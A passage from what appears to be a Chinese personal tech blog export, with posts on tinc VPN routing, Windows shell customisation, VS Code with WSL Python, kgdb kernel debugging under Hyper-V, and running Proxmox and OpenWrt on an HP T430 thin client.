<h4 id="其它机器的配置"><a href="#其它机器的配置" class="headerlink" title="其它机器的配置"></a>其它机器的配置</h4><p>由于其它机器需要以 <code>192.168.31.3</code> 为跳板连接内网, 则需要在 tinc 脚本内添加设置路由的命令</p>
<p>tinc-up.bat:</p>
<figure class="highlight bat"><table><tr><td class="code"><pre><span class="line">netsh interface ip add route <span class="number">172</span>.<span class="number">29</span>.<span class="number">0</span>.<span class="number">0</span>/<span class="number">22</span> plusls-tinc <span class="number">191</span>.<span class="number">168</span>.<span class="number">32</span>.<span class="number">3</span> store=active</span><br></pre></td></tr></table></figure>

<p>tinc-down.bat</p>
<figure class="highlight bat"><table><tr><td class="code"><pre><span class="line">netsh interface ip delete route <span class="number">172</span>.<span class="number">29</span>.<span class="number">0</span>.<span class="number">0</span>/<span class="number">22</span> plusls-tinc <span class="number">191</span>.<span class="number">168</span>.<span class="number">32</span>.<span class="number">3</span> store=active</span><br></pre></td></tr></table></figure>

<h4 id="测试网络连通性"><a href="#测试网络连通性" class="headerlink" title="测试网络连通性"></a>测试网络连通性</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo tincd -n plusls-tinc -D -d5</span><br></pre></td></tr></table></figure>

<p>可以使用 -k 参数来结束进程</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo tincd -n plusls-tinc -k</span><br></pre></td></tr></table></figure>

<p>如果该机器能 ping 通 server 并且别的机器能 ping 通内网则说明配置正常</p>
<h4 id="systemd-配置为服务"><a href="#systemd-配置为服务" class="headerlink" title="systemd 配置为服务"></a>systemd 配置为服务</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">sudo systemctl enable tinc@plusls-tinc</span><br><span class="line">sudo systemctl restart tinc@plusls-tinc</span><br></pre></td></tr></table></figure>]]></content>
      <categories>
        <category>network</category>
      </categories>
  </entry>
  <entry>
    <title>Windows下配置shell</title>
    <url>/windows/configure-shell-on-windows/</url>
    <content><![CDATA[<p>windows terminal 真香！</p>
<h2 id="Windows-terminal"><a href="#Windows-terminal" class="headerlink" title="Windows terminal"></a>Windows terminal</h2><p><strong>update: 2020-3-24 21:07:19</strong></p>
<p>自从MS推出windows terminal后我开始真香了，windows terminal大法好！</p>
<p>本方案可以结合之前powershell的方案</p>
<p>效果如下</p>
<p><img data-src="/windows/configure-shell-on-windows/img/windows-terminal.png" alt="windows terminal效果"></p>
<span id="more"></span>

<h3 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h3><p><a href="profiles.json">profiles.json</a></p>
<p>未完待续</p>
<h2 id="Powershell-wsl-tmux"><a href="#Powershell-wsl-tmux" class="headerlink" title="Powershell+wsl+tmux"></a>Powershell+wsl+tmux</h2><p><strong>update：2018-7-31 19:30:43</strong></p>
<p>最近被babun和conemu恶心坏了，又滚回了wsl+powershell</p>
<p>更新powershell的配置方法，仅限win10</p>
<p>当然要先上个图压压惊啦</p>
<p>(请忽略那些奇怪的颜色</p>
<p><img data-src="/windows/configure-shell-on-windows/img/8.png" alt="powershell效果"></p>
<p>tmux当然要分屏啦</p>
<p><img data-src="/windows/configure-shell-on-windows/img/9.png" alt="powershell效果"></p>
<h3 id="wsl"><a href="#wsl" class="headerlink" title="wsl"></a>wsl</h3><p>wsl也没啥好说的，装完后把tmux，git，zsh装上</p>
<p>oh-my-zsh: <a href="https://github.com/robbyrussell/oh-my-zsh.git">oh-my-zsh</a></p>
<h3 id="tmux"><a href="#tmux" class="headerlink" title="tmux"></a>tmux</h3><p>tmux的使用方法：<a href="https://www.cnblogs.com/kevingrace/p/6496899.html">https://www.cnblogs.com/kevingrace/p/6496899.html</a></p>
<p>tmux美化插件oh-my-tmux: <a href="https://github.com/gpakosz/.tmux.git">https://github.com/gpakosz/.tmux.git</a></p>
<h3 id="字体"><a href="#字体" class="headerlink" title="字体"></a>字体</h3><p>把它配置好后发现字体是炸的，需要安装powerline字体</p>
<p>在windows下貌似只有DejaVuSansMono能用</p>
<p>DejaVuSansMono：<a href="https://github.com/powerline/fonts/tree/master/DejaVuSansMono">https://github.com/powerline/fonts/tree/master/DejaVuSansMono</a></p>
<h3 id="powershell"><a href="#powershell" class="headerlink" title="powershell"></a>powershell</h3><p>powershell的配置主要是关于配色的，毕竟默认配色奇丑无比</p>
<p>再次安利微软的工具: <a href="https://github.com/Microsoft/console/tree/master/tools/ColorTool">https://github.com/Microsoft/console/tree/master/tools/ColorTool</a></p>
<p>可以将iTerm的配色转换为powershell的配色</p>
<p>个人觉得比较好看的</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Monokai Soda</span><br><span class="line">Wombat</span><br></pre></td></tr></table></figure>

<h3 id="git"><a href="#git" class="headerlink" title="git"></a>git</h3><p>由于彻底废弃掉了banbun，所以当前电脑中没有git，可以下载一个小工具将命令转发到wsl的git</p>
<p>wslgit: <a href="https://github.com/andy-5/wslgit">https://github.com/andy-5/wslgit</a></p>
<p>需要安装rust</p>
<h2 id="ConEmu-Babun"><a href="#ConEmu-Babun" class="headerlink" title="ConEmu+Babun"></a>ConEmu+Babun</h2><p><img data-src="/windows/configure-shell-on-windows/img/0.png"></p>
<h3 id="ConEmu配置"><a href="#ConEmu配置" class="headerlink" title="ConEmu配置"></a>ConEmu配置</h3><h4 id="下载安装conemu"><a href="#下载安装conemu" class="headerlink" title="下载安装conemu"></a>下载安装conemu</h4><p>直接看文档装就好了</p>
<p><a href="https://conemu.github.io/">https://conemu.github.io/</a></p>
<h4 id="把背景换成老婆"><a href="#把背景换成老婆" class="headerlink" title="把背景换成老婆"></a>把背景换成老婆</h4><p>看着老婆写代码才是最快乐的！</p>
<p><img data-src="/windows/configure-shell-on-windows/img/1.png" alt="老婆"></p>
<h4 id="去掉丑陋的状态栏"><a href="#去掉丑陋的状态栏" class="headerlink" title="去掉丑陋的状态栏"></a>去掉丑陋的状态栏</h4><p>去掉前:</p>
<p><img data-src="/windows/configure-shell-on-windows/img/2.png" alt="去掉前"></p>
<p>去掉这zz玩意:</p>
<p><img data-src="/windows/configure-shell-on-windows/img/3.png" alt="设置"></p>
<h4 id="去掉丑陋的标签页"><a href="#去掉丑陋的标签页" class="headerlink" title="去掉丑陋的标签页"></a>去掉丑陋的标签页</h4><p><img data-src="/windows/configure-shell-on-windows/img/4.png" alt="设置"></p>
<h4 id="按键配置"><a href="#按键配置" class="headerlink" title="按键配置"></a>按键配置</h4><p>复制改为Ctrl+Shift+C 粘贴改为 Ctrl+Shift+V</p>
<p><img data-src="/windows/configure-shell-on-windows/img/5.png" alt="快捷键"></p>
<h4 id="修改确认选项"><a href="#修改确认选项" class="headerlink" title="修改确认选项"></a>修改确认选项</h4><p>这玩意新建task默认不弹窗口的，给它改改</p>
<p><img data-src="/windows/configure-shell-on-windows/img/6.png" alt="确认"></p>
<h4 id="修改子窗口配置"><a href="#修改子窗口配置" class="headerlink" title="修改子窗口配置"></a>修改子窗口配置</h4><p>如果这个选项没去掉，在使用非终端程序时，无法使用ctrl+tab切换标签</p>
<p><img data-src="/windows/configure-shell-on-windows/img/7.png" alt="子窗口"></p>
<p>这样ConEmu的配置就基本结束了</p>
<p>虽然配完了ConEmu，但是它启动的还是傻逼的cmd，这玩意没有历史记录，自动补全就像一坨shit，windows下也缺少很多linux常用的命令，这时就可以安利另外一个东西——Babun</p>
<h3 id="Babun"><a href="#Babun" class="headerlink" title="Babun"></a>Babun</h3><p>官网: <a href="http://babun.github.io/">http://babun.github.io/</a></p>
<p>直接引用Babun官网的介绍</p>
<blockquote>
<p>Babun - a windows shell you will love</p>
</blockquote>
<p>这玩意也不难装，跟着官方文档来就好了</p>
<p>比较麻烦的是把这玩意和ConEmu结合起来</p>
<h4 id="结合ConEmu"><a href="#结合ConEmu" class="headerlink" title="结合ConEmu"></a>结合ConEmu</h4><h5 id="新建Tasks"><a href="#新建Tasks" class="headerlink" title="新建Tasks"></a>新建Tasks</h5><p>在ConEmu里面新建2个Tasks，参数分别为</p>
<p>Task1:</p>
<p>标题: zsh</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&quot;C:\Program Files\babun\.babun\cygwin\bin\zsh.exe&quot; -c &quot;CHERE_INVOKING=1 /bin/zsh.exe&quot; -cur_console:p</span><br></pre></td></tr></table></figure>

<p>task2:</p>
<p>标题: mintty-zsh</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&quot;C:\Program Files\babun\.babun\cygwin\bin\mintty.exe&quot; /bin/env CHERE_INVOKING=1 /bin/zsh.exe</span><br></pre></td></tr></table></figure>

<h5 id="在Startup中把默认task改为zsh"><a href="#在Startup中把默认task改为zsh" class="headerlink" title="在Startup中把默认task改为zsh"></a>在Startup中把默认task改为zsh</h5><h2 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h2><p>总体来讲配的这玩意还是有一点小瑕疵，比如在使用vim，ssh的时候，如果有这种需求，可以使用新建的task2来完成…</p>
]]></content>
      <categories>
        <category>windows</category>
      </categories>
  </entry>
  <entry>
    <title>Windows的vscode使用wsl中的python</title>
    <url>/windows/vscode-using-python-in-wsl/</url>
    <content><![CDATA[<p><strong>本篇文章已经过期！现在vscode已经提供了wsl插件可以直接在wsl下工作</strong></p>
<p>由于个人习惯，exp一般都在windows使用vscode编写，然而windows下无法装上pwntools，一直想使用wsl中的python。然而正常情况下vscode是不支持使用wsl中的python，需要进行一番魔改，令其能拥有自动补全，查找引用等功能。</p>
<span id="more"></span>

<h3 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h3><p>pwntools自动补全</p>
<p><img data-src="/windows/vscode-using-python-in-wsl/img/1.gif" alt="1.gif"></p>
<p>查找引用</p>
<p><img data-src="/windows/vscode-using-python-in-wsl/img/2.gif" alt="2.gif"></p>
<p>单步调试</p>
<p><img data-src="/windows/vscode-using-python-in-wsl/img/3.gif" alt="3.gif"></p>
<h3 id="配置命令转发"><a href="#配置命令转发" class="headerlink" title="配置命令转发"></a>配置命令转发</h3><p>首先在wsl中安装autopep8，pylint，ctags，python等软件</p>
<p>命令转发之前有人写过一个wslgit，作用是将命令从windows转发到linux，拿下来魔改一下就可以使用</p>
<p>项目地址：<a href="https://github.com/andy-5/wslgit">https://github.com/andy-5/wslgit</a></p>
<p>由于已经配置完成，最后附件会提供一个整合包</p>
<p>只需要将整合包内如下的文件解压</p>
<p><img data-src="/windows/vscode-using-python-in-wsl/img/1.png" alt="1.png"></p>
<p>随后按下图修改vscode的配置</p>
<p><img data-src="/windows/vscode-using-python-in-wsl/img/2.png" alt="2.png"></p>
<p>记得修改exe的位置</p>
<h3 id="配置目录转换"><a href="#配置目录转换" class="headerlink" title="配置目录转换"></a>配置目录转换</h3><p>在配置完转发后自动补全已经可用了，但是查找引用还是废的，因为默认传回的是wsl中的路径。读源码后发现查找引用返回结果时使用了completion.py，在如下目录</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">C:\Users\plusls\.vscode\extensions\ms-python.python-2018.8.0\pythonFiles</span><br></pre></td></tr></table></figure>

<p>备份原文件替换为附件中的即可</p>
<p>随后还需要替换completion.py中的start_path为自己wsl的目录</p>
<h3 id="配置python调试"><a href="#配置python调试" class="headerlink" title="配置python调试"></a>配置python调试</h3><p>在vscode中按下F5可以调试，然而由于默认环境变量是无法传递进wsl的，需要设置环境变量WSLENV</p>
<p>使用附件中的LocalDebugClient.js替换如下路径的文件即可</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">C:\Users\plusls\.vscode\extensions\ms-python.python-2018.8.0\out\client\debugger\DebugClients\LocalDebugClient.js</span><br></pre></td></tr></table></figure>

<p>设置环境变量后确实可以调试了，但是断点功能还是残废的，原因和查找引用时一样，都是路径转换的问题</p>
<p>使用附件中的pydevd_file_utils.py替换如下文件</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">C:\Users\plusls\.vscode\extensions\ms-python.python-2018.8.0\pythonFiles\experimental\ptvsd\ptvsd\_vendored\pydevd\pydevd_file_utils.py</span><br></pre></td></tr></table></figure>



<h3 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h3><p>附件：<a href="wsl.zip">wsl.zip</a></p>
]]></content>
      <categories>
        <category>windows</category>
      </categories>
  </entry>
  <entry>
    <title>Linux Kernel 调试环境配置</title>
    <url>/2020/10/linux-kernel-debug/</url>
    <content><![CDATA[<p>由于本人用的 Windows 虚拟机为 Hyper-v，希望能在 wsl 中调试 hyper-v 中的虚拟机，网上关于这个的内容比较少，做一下记录</p>
<h2 id="设置串口"><a href="#设置串口" class="headerlink" title="设置串口"></a>设置串口</h2><p>hyper-v 有点弱智，不能在 GUI 界面设置串口，只能从 powershell 设置串口路径，下述命令会将虚拟机内的 <code>/dev/ttyS0</code> 映射到 windows 的 <code>\\.\pipe\ubuntu-rootkit</code> 管道</p>
<figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line">❯ <span class="built_in">Get-VMComPort</span> Ubuntu<span class="literal">-20</span>.<span class="number">04</span><span class="literal">-rootkit</span></span><br><span class="line"></span><br><span class="line">VMName               Name  Path</span><br><span class="line"><span class="literal">------</span>               <span class="literal">----</span>  <span class="literal">----</span></span><br><span class="line">Ubuntu<span class="literal">-20</span>.<span class="number">04</span><span class="literal">-rootkit</span> COM <span class="number">1</span></span><br><span class="line">Ubuntu<span class="literal">-20</span>.<span class="number">04</span><span class="literal">-rootkit</span> COM <span class="number">2</span></span><br><span class="line"></span><br><span class="line">❯ <span class="built_in">Set-VMComPort</span> Ubuntu<span class="literal">-20</span>.<span class="number">04</span><span class="literal">-rootkit</span> <span class="literal">-Path</span> <span class="string">&quot;\\.\pipe\ubuntu-rootkit&quot;</span> <span class="literal">-Number</span> <span class="number">1</span></span><br><span class="line">❯ <span class="built_in">Get-VMComPort</span> Ubuntu<span class="literal">-20</span>.<span class="number">04</span><span class="literal">-rootkit</span></span><br><span class="line"></span><br><span class="line">VMName               Name  Path</span><br><span class="line"><span class="literal">------</span>               <span class="literal">----</span>  <span class="literal">----</span></span><br><span class="line">Ubuntu<span class="literal">-20</span>.<span class="number">04</span><span class="literal">-rootkit</span> COM <span class="number">1</span> \\.\pipe\ubuntu<span class="literal">-rootkit</span></span><br><span class="line">Ubuntu<span class="literal">-20</span>.<span class="number">04</span><span class="literal">-rootkit</span> COM <span class="number">2</span></span><br><span class="line"></span><br><span class="line">❯ <span class="built_in">Start-VM</span> <span class="literal">-Name</span> Ubuntu<span class="literal">-20</span>.<span class="number">04</span><span class="literal">-rootkit</span></span><br><span class="line">❯ (<span class="built_in">get-childitem</span> \\.\pipe\).FullName|findstr ubuntu</span><br><span class="line">\\.\pipe\ubuntu<span class="literal">-rootkit</span></span><br></pre></td></tr></table></figure>

<span id="more"></span>

<p>参考自：<a href="https://docs.microsoft.com/zh-cn/archive/blogs/jhoward/hyper-v-generation-2-virtual-machines-part-5">hyper-v-generation-2-virtual-machines-part-5</a></p>
<p>为了方便调试，还需要在 wsl 中使用命令来把 windows 的串口映射到 linux 下的 pty</p>
<p>npiperelay： <a href="https://github.com/jstarks/npiperelay">https://github.com/jstarks/npiperelay</a></p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">socat pty,<span class="built_in">link</span>=./ubuntu-rootkit.pty,raw,<span class="built_in">echo</span>=0 EXEC:<span class="string">&quot;/mnt/d/tools/wsl/npiperelay.exe -ep -s //./pipe/ubuntu-rootkit&quot;</span>,nofork</span><br></pre></td></tr></table></figure>


<h2 id="配置-grub"><a href="#配置-grub" class="headerlink" title="配置 grub"></a>配置 grub</h2><p>修改 grub 配置文件是为了关闭 kaslr 以及设置 kgdb 调试用的串口信息。设置 kgdb 调试用的串口信息可以在系统启动后再进行设置，但是关闭 kaslr 只能修改 grub 的 kernel 启动参数。</p>
<p>若是不关闭 kaslr，在调试时栈帧符号可能会出现问题</p>
<p>关闭 kaslr：</p>
<p><img data-src="/2020/10/linux-kernel-debug/img/close-aslr.png" alt="close-aslr"></p>
<p>未关闭 kaslr：</p>
<p><img data-src="/2020/10/linux-kernel-debug/img/aslr.png" alt="close-aslr"></p>
<p>修改配置文件推荐在 <code>/etc/grub.d/40_custom</code> 直接添加 grub 启动项，旧启动项来自 <code>/boot/grub/grub.cfg</code>, 添加了 <code>kgdboc=ttyS0,115200 kgdbcon nokaslr</code></p>
<ul>
<li>kgdboc： kgdb over console<ul>
<li>kgdboc&#x3D;ttyS0,115200 使用 ttyS0 连接，串口频率 115200</li>
<li>也可以通过 echo “ttyS0,115200” &gt; &#x2F;sys&#x2F;module&#x2F;kgdboc&#x2F;parameters&#x2F;kgdboc 进行配置</li>
</ul>
</li>
<li>kgdbwait： 启动阶段时进入调试模式</li>
<li>nokaslr： 关闭 kaslr</li>
<li>kgdbcon： 当 gdb 连接到内核时，kgdbcon 特性允许查看 gdb 内部的 printk() 消息。有两个方式激活该特性<ul>
<li>kgdbcon 内核参数</li>
<li>echo 1 &gt; &#x2F;sys&#x2F;module&#x2F;kgdb&#x2F;parameters&#x2F;kgdb_use_con</li>
<li>不要在系统控制台使用这个参数</li>
</ul>
</li>
</ul>
<p>ubuntu 20.04 配置文件 &#x2F;etc&#x2F;grub.d&#x2F;40_custom</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">menuentry &#x27;Ubuntu,KGDB with nokaslr&#x27; --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option &#x27;gnulinux-simple-1d1a1fdb-e548-44f2-9e1f-5d230b6179e9&#x27; &#123;</span><br><span class="line">        recordfail</span><br><span class="line">        load_video</span><br><span class="line">        gfxmode $linux_gfx_mode</span><br><span class="line">        insmod gzio</span><br><span class="line">        if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi</span><br><span class="line">        insmod part_gpt</span><br><span class="line">        insmod ext2</span><br><span class="line">        set root=&#x27;hd0,gpt2&#x27;</span><br><span class="line">        if [ x$feature_platform_search_hint = xy ]; then</span><br><span class="line">          search --no-floppy --fs-uuid --set=root --hint-bios=hd0,gpt2 --hint-efi=hd0,gpt2 --hint-baremetal=ahci0,gpt2  5c4a24c6-ed02-4d59-930b-2ce672e8b643</span><br><span class="line">        else</span><br><span class="line">          search --no-floppy --fs-uuid --set=root 5c4a24c6-ed02-4d59-930b-2ce672e8b643</span><br><span class="line">        fi</span><br><span class="line">        linux   /vmlinuz-5.4.0-52-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro kgdboc=ttyS0,115200 kgdbcon nokaslr</span><br><span class="line">        initrd  /initrd.img-5.4.0-52-generic</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>配置资料来自： <a href="https://www.kernel.org/doc/htmldocs/kgdb/kgdbreboot.html">https://www.kernel.org/doc/htmldocs/kgdb/kgdbreboot.html</a></p>
<p>为了方便进入自己的 grub 启动项，可以修改 grub 配置文件 <code>/etc/default/grub</code> 中的 <code>GRUB_TIMEOUT</code></p>
<p>进行完上述操作后需要执行命令让 grub 根据当前配置文件生成对应的启动文件</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">update-grub</span><br></pre></td></tr></table></figure>

<h2 id="中断-kernel"><a href="#中断-kernel" class="headerlink" title="中断 kernel"></a>中断 kernel</h2><p>使用命令触发中断让 kernel 进入调试模式</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> g &gt; /proc/sysrq-trigger</span><br></pre></td></tr></table></figure>

<h2 id="gdb-附加调试"><a href="#gdb-附加调试" class="headerlink" title="gdb 附加调试"></a>gdb 附加调试</h2><p>内核调试信息可以在下面的网址找到，当前内核为 5.4.0-52</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">http://ddebs.ubuntu.com/pool/main/l/linux/linux-image-unsigned-5.4.0-52-generic-dbgsym_5.4.0-52.57_amd64.ddeb</span><br></pre></td></tr></table></figure>

<p>解压出 <code>vmlinux-5.4.0-52-generic</code></p>
<p>pwndbg，peda 对内核的支持好像有问题，建议使用 peda</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">gdb ./vmlinux-5.4.0-52-generic</span><br><span class="line"># 设置串口波特率 我也不知道干啥的 好像不用设也行</span><br><span class="line">gef➤ set serial baud 115200</span><br><span class="line">gef➤ target remote ./ubuntu-rootkit.pty</span><br></pre></td></tr></table></figure>

<p>在内核已经被中断的情况下可以看到当前寄存器信息：</p>
<p><img data-src="/2020/10/linux-kernel-debug/img/regs.png" alt="close-aslr"></p>
<h2 id="加载源码"><a href="#加载源码" class="headerlink" title="加载源码"></a>加载源码</h2><p>内核调试往往需要结合源码进行</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">gef➤ set substitute-path /sources/were/compiled/here /put/sources/here</span><br></pre></td></tr></table></figure>

<p>或者把 kernel 源码解包到 <code>/usr/src/kernel</code> 或者 kernel build 的目录</p>
<h2 id="GEF-配置-layout"><a href="#GEF-配置-layout" class="headerlink" title="GEF 配置 layout"></a>GEF 配置 layout</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">legend regs stack code args source memory threads trace extra</span><br></pre></td></tr></table></figure>


<p>根据个人习惯修改为</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">gef config context.layout &quot;regs code args source stack&quot;</span><br></pre></td></tr></table></figure>]]></content>
      <categories>
        <category>2020</category>
        <category>10</category>
      </categories>
  </entry>
  <entry>
    <title>折腾 HP T430 Thin Client</title>
    <url>/2022/10/play-with-hp-t430/</url>
    <content><![CDATA[<p>距离上次写博客居然已经将近两年了，时间过得真快。最近一直在忙，国庆终于有空折腾一下自己的玩具，刚好捡的垃圾 HP T430 Thin Client 也到货了，趁着有时间折腾一下它，并做个记录。先放个折腾的效果图（看起来很是简陋）：</p>
<p><img data-src="/2022/10/play-with-hp-t430/img/final.jpg" alt="final"></p>
<span id="more"></span>

<h2 id="基本配置"><a href="#基本配置" class="headerlink" title="基本配置"></a>基本配置</h2><p>这个 HP T430 的配置为 Intel Celeron Processor N4000 （1.1 GHz up to 2.6 GHz）， 2G RAM + 16 G EMMC，千兆网卡，170 入手的（充电器 15，电源 25，快递 20），到手后决定先刷个 BIOS（原版的 BIOS 还是 2018 年的）。</p>
<p>BIOS 下载地址： <a href="https://support.hp.com/us-en/drivers/selfservice/hp-t430-thin-client/21316595">https://support.hp.com/us-en/drivers/selfservice/hp-t430-thin-client/21316595</a></p>
<p>不知道为啥，选 win 10 的 BIOS 版本比 Linux 要低，这里下载的是 N41 的 BIOS，发布日期为 2022.6.27（听说能刷 N44 的，但是手头没编程器还是别作死了），下载后解压出目录 <code>SWSetup\SPI40825</code>，其中 <code>BIOS Flash.htm</code> 描述了几种刷 BIOS 的方案，其中尝试了 <code>Update from Computer Setup</code> 看起来它是将 BIOS 更新的 efi 应用写入了 U 盘的 HP 目录，然后由 BIOS 去主动调用来进行更新，不知道是不是因为我手头的板子 BIOS 版本太低，怎么试都不成功，最后放弃思考直接把 <code>Win\N41_0110.exe</code> 拷到装有 PE 的 U 盘里，在 PE 下进行更新。</p>
<p>剩下的步骤也就是开启 VT-d，设置来电自启，因为打算做软路由（万物皆可软路由），同时也因为把开关焊烂了（手残是这样的）。</p>
<h2 id="PVE"><a href="#PVE" class="headerlink" title="PVE"></a>PVE</h2><p>之前一直看群友搞了各种 j1900，锐角云，并且在上面折腾了一堆玩具，趁着这个机会也来折腾一下，当作少有的娱乐活动（然而这货只有 2G 内存 说实话有点蔡）。</p>
<p><img data-src="/2022/10/play-with-hp-t430/img/j1900.jpg" alt="j1900"></p>
<h3 id="换源"><a href="#换源" class="headerlink" title="换源"></a>换源</h3><p>没啥讲究，就是 PVE 有个企业源，不加订阅没法用，可以使用非订阅的源</p>
<p>&#x2F;etc&#x2F;apt&#x2F;sources.list:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">deb https://mirrors.ustc.edu.cn/debian bullseye main contrib non-free</span><br><span class="line"></span><br><span class="line">deb https://mirrors.ustc.edu.cn/debian bullseye-updates main contrib non-free</span><br><span class="line"></span><br><span class="line"># security updates</span><br><span class="line">deb https://mirrors.ustc.edu.cn/debian-security bullseye-security main contrib non-free</span><br></pre></td></tr></table></figure>

<p>&#x2F;etc&#x2F;apt&#x2F;sources.list.d&#x2F;pve-enterprise.list:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">#deb https://enterprise.proxmox.com/debian/pve bullseye pve-enterprise</span><br><span class="line">deb https://mirrors.ustc.edu.cn/proxmox/debian/pve bullseye pve-no-subscription</span><br></pre></td></tr></table></figure>

<h3 id="兼容-emmc"><a href="#兼容-emmc" class="headerlink" title="兼容 emmc"></a>兼容 emmc</h3><p>由于 PVE 本身的安装脚本并不支持安装到 EMMC 上，安装时会提示 <strong>Unable to get device for partition 1 on device &#x2F;dev&#x2F;mmcblk1</strong>，因此需要使用 Debug mode 进入 PVE 的安装盘，在进入安装 GUI 前修改 <code>/usr/bin/proxinstall</code> 来添加对 mmcblk 的支持</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">&#125; elsif (<span class="variable">$dev</span> =~ m|^/dev/[^/]+/hd[a-z]$|) &#123;</span><br><span class="line">    <span class="built_in">return</span> <span class="string">&quot;<span class="variable">$&#123;dev&#125;</span><span class="variable">$partnum</span>&quot;</span>;</span><br><span class="line">&#125; elsif (<span class="variable">$dev</span> =~ m|^/dev/nvme\d+n\d+$|) &#123;</span><br><span class="line">    <span class="built_in">return</span> <span class="string">&quot;<span class="variable">$&#123;dev&#125;</span>p<span class="variable">$partnum</span>&quot;</span>;</span><br><span class="line">&#125; elsif (<span class="variable">$dev</span> =~ m|^/dev/mmcblk\d+$|) &#123;</span><br><span class="line">    <span class="built_in">return</span> <span class="string">&quot;<span class="variable">$&#123;dev&#125;</span>p<span class="variable">$partnum</span>&quot;</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    die <span class="string">&quot;unable to get device for partition <span class="variable">$partnum</span> on device <span class="variable">$dev</span>\n&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>参考资料：<a href="https://lookas2001.com/%E8%A7%A3%E5%86%B3-proxmox-ve-%E6%97%A0%E6%B3%95%E5%AE%89%E8%A3%85%E5%88%B0-emmc-%E4%B8%8A%E7%9A%84%E9%97%AE%E9%A2%98/">解决 Proxmox VE 无法安装到 eMMC 上的问题</a></p>
<h3 id="LXQt"><a href="#LXQt" class="headerlink" title="LXQt"></a>LXQt</h3><p>安装后想着，闲着有点浪费，装个 DE 试试，然而折腾了一圈，发现 KDE 和 xfce4 都跑不动，最后装了个 LXQt（然而只是个玩具，Firefox 都打不开）</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt install lxqt lightdm</span><br></pre></td></tr></table></figure>

<p>然而这个过程中还吃了一口屎，LXQt 使用 ConnMan 来管理网络连接，和 PVE 打架了，直接直接导致开机缓慢和无法上网，解决方案也很简单，卸掉就好了</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt purge connman</span><br></pre></td></tr></table></figure>

<h2 id="Openwrt"><a href="#Openwrt" class="headerlink" title="Openwrt"></a>Openwrt</h2><p>终于来到正头戏了，也是本次折腾的主要目的，安装一个 openwrt 并将其作为旁路由和透明代理</p>
<p>整个内网的网络为 192.168.2.0&#x2F;24，机器如下</p>
<ul>
<li>192.168.2.1： 主路由</li>
<li>192.168.2.2： PVE</li>
<li>192.168.2.3： 待配置的 openwrt</li>
</ul>
<h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><p>openwrt 本身也是基于 Linux 的操作系统，PVE 则是基于 Debian，那最节省开销的方式显然是将 openwrt 安装为 PVE 的 LXC 容器，从而节省下虚拟化的开销</p>
<p>本来想直接在 LXC 中直接拉取 openwrt 的镜像，但是考虑到方便管理，还是从官网拉取了 amd64 的 rootfs 并自己创建了 CT 模板</p>
<p>链接：<a href="https://downloads.openwrt.org/releases/22.03.0/targets/x86/64/openwrt-22.03.0-x86-64-rootfs.tar.gz">https://downloads.openwrt.org/releases/22.03.0/targets/x86/64/openwrt-22.03.0-x86-64-rootfs.tar.gz</a></p>
<p>为了方便安装（某种强迫症），我并不太希望在命令行中创建 pve 容器，因此希望直接在 web 创建，但是直接创建会提示报错 <code>unable to detect OS distribution</code>，搜索了半天并没有找到在 web 设置 OS type 为 <code>unmanaged</code> 的方法，因此只能手动修改 <code>/usr/share/perl5/PVE/LXC/Setup.pm</code>，让其将 openwrt 识别为 <code>unmanaged</code></p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">        <span class="built_in">return</span> <span class="string">&quot;alpine&quot;</span>;</span><br><span class="line">    &#125; elsif (-f  <span class="string">&quot;<span class="variable">$rootdir</span>/etc/gentoo-release&quot;</span>) &#123;</span><br><span class="line">        <span class="built_in">return</span> <span class="string">&quot;gentoo&quot;</span>;</span><br><span class="line">    &#125; elsif (-d  <span class="string">&quot;<span class="variable">$rootdir</span>/nix/store&quot;</span>) &#123;</span><br><span class="line">        <span class="built_in">return</span> <span class="string">&quot;nixos&quot;</span>;</span><br><span class="line">    &#125; elsif (-f <span class="string">&quot;<span class="variable">$rootdir</span>/etc/openwrt_release&quot;</span>) &#123;</span><br><span class="line">        <span class="built_in">return</span> <span class="string">&quot;unmanaged&quot;</span>; <span class="comment"># openwrt</span></span><br><span class="line">    &#125; elsif (-f <span class="string">&quot;<span class="variable">$rootdir</span>/etc/os-release&quot;</span>) &#123;</span><br><span class="line">        die <span class="string">&quot;unable to detect OS distribution\n&quot;</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        warn <span 